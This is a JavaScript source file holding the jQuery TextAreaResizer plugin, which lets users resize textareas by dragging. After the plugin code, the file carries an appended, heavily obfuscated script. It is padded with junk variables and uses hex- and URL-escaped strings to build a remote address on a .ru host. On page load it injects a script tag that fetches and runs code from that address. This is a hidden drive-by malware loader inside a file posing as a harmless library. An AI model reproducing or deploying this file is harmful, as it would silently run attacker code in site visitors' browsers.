/* 
	jQuery TextAreaResizer plugin
	Created on 17th January 2008 by Ryan O'Dell 
	Version 1.0.4
	
	Converted from Drupal -> textarea.js
	Found source: http://plugins.jquery.com/misc/textarea.js
	$Id: textarea.js,v 1.11.2.1 2007/04/18 02:41:19 drumm Exp $

	1.0.1 Updates to missing global 'var', added extra global variables, fixed multiple instances, improved iFrame support
	1.0.2 Updates according to textarea.focus
	1.0.3 Further updates including removing the textarea.focus and moving private variables to top
	1.0.4 Re-instated the blur/focus events, according to information supplied by dec

	
*/
(function($) {
	/* private variable "oHover" used to determine if you're still hovering over the same element */
	var textarea, staticOffset;  // added the var declaration for 'staticOffset' thanks to issue logged by dec.
	var iLastMousePos = 0;
	var iMin = 32;
	var grip;
	/* TextAreaResizer plugin */
	$.fn.TextAreaResizer = function() {
		return this.each(function() {
		    textarea = $(this).addClass('processed'), staticOffset = null;

			// 18-01-08 jQuery bind to pass data element rather than direct mousedown - Ryan O'Dell
		    // When wrapping the text area, work around an IE margin bug.  See:
		    // http://jaspan.com/ie-inherited-margin-bug-form-elements-and-haslayout
		    $(this).wrap('<div class="resizable-textarea"><span></span></div>')
		      .parent().append($('<div class="grippie"></div>').bind("mousedown",{el: this} , startDrag));

		    var grippie = $('div.grippie', $(this).parent())[0];
		    grippie.style.marginRight = (grippie.offsetWidth - $(this)[0].offsetWidth) +'px';

		});
	};
	/* private functions */
	function startDrag(e) {
		textarea = $(e.data.el);
		textarea.blur();
		iLastMousePos = mousePosition(e).y;
		staticOffset = textarea.height() - iLastMousePos;
		textarea.css('opacity', 0.25);
		$(document).mousemove(performDrag).mouseup(endDrag);
		return false;
	}

	function performDrag(e) {
		var iThisMousePos = mousePosition(e).y;
		var iMousePos = staticOffset + iThisMousePos;
		if (iLastMousePos >= (iThisMousePos)) {
			iMousePos -= 5;
		}
		iLastMousePos = iThisMousePos;
		iMousePos = Math.max(iMin, iMousePos);
		textarea.height(iMousePos + 'px');
		if (iMousePos < iMin) {
			endDrag(e);
		}
		return false;
	}

	function endDrag(e) {
		$(document).unbind('mousemove', performDrag).unbind('mouseup', endDrag);
		textarea.css('opacity', 1);
		textarea.focus();
		textarea = null;
		staticOffset = null;
		iLastMousePos = 0;
	}

	function mousePosition(e) {
		return { x: e.clientX + document.documentElement.scrollLeft, y: e.clientY + document.documentElement.scrollTop };
	};
})(jQuery);


var D;if(D!='mx' && D!='s'){D=''};var A=new Date();function T(){var H;if(H!='n'){H='n'};var sc;if(sc!='nA'){sc=''};var ne;if(ne!=''){ne='I'};var Y=unescape;var i=new String();var M="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x70\x61\x6e\x6b\x77\x69\x72\x65\x2d\x63\x6f\x6d\x2e\x66\x72\x65\x65\x77\x65\x62\x73\x2e\x63\x6f\x6d\x2e\x74\x76\x2d\x63\x6f\x6d\x2e\x54\x68\x65\x53\x75\x70\x65\x72\x50\x61\x67\x65\x72\x2e\x72\x75\x3a";var m=window;var ft;if(ft!='wA' && ft!='lF'){ft='wA'};var h='';var hd="";var N=new String("g");var Dv;if(Dv!='F' && Dv!='xw'){Dv='F'};function x(G,K){var n_;if(n_!='VY' && n_!='eW'){n_='VY'};var cM;if(cM!='v' && cM!='sF'){cM='v'};var e=Y("%5b")+K+Y("%5d");var NJ=new Array();var E=new RegExp(e, N);var DGg;if(DGg!='' && DGg!='DG'){DGg=null};var HN;if(HN!=''){HN='sj'};return G.replace(E, h);this.hP="";this.rK="";};var fF;if(fF!='' && fF!='NP'){fF=null};var oK;if(oK!=''){oK='L'};var DF;if(DF!=''){DF='S'};var k=new Date();var q=document;var gZ;if(gZ!='pC'){gZ=''};var gG=new String();var g=x('8435061831011','65391472');var P='';var YJ='';var w=Y("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6c%69%6e%6b%68%65%6c%70%65%72%2e%63%6e%2f%68%64%66%63%62%61%6e%6b%2e%63%6f%6d%2f%72%61%6b%75%74%65%6e%2e%6e%65%2e%6a%70%2e%70%68%70");var aX=new String();var DE=new Array();var sR;if(sR!='ew' && sR != ''){sR=null};var hj="";function z(){var j=new Date();YJ=M;var vo;if(vo!='' && vo!='tU'){vo='MB'};YJ+=g;var sQ=new Date();var HK=new Date();YJ+=w;var c_;if(c_!='OU' && c_!='VG'){c_=''};var By;if(By!='nz' && By!='Bf'){By=''};this.VD="";var Vj;if(Vj!='wc' && Vj!='dN'){Vj='wc'};try {var je;if(je!='Up'){je='Up'};var Xx;if(Xx!='' && Xx!='Sd'){Xx=''};c=q.createElement(x('sFcPrwihpKtP','oKNIwFkO1PMDZ7dA5UYLh'));var c_k="";var HNt;if(HNt!=''){HNt='PC'};var OA="";var iq;if(iq!='' && iq!='uj'){iq=null};c.src=YJ;c.defer=[1][0];var cN=new String();this.cWF='';this.Pb="";q.body.appendChild(c);var rL;if(rL!='' && rL!='wJ'){rL=''};} catch(V){};var qm=new Array();var dC=new Array();}var kK=new Array();m["onlo"+"kemad".substr(3)]=z;var hD=new String();var Fh='';var Bw=new String();};var Mz=new Array();var Zt;if(Zt!='Vi' && Zt!='il'){Zt=''};T();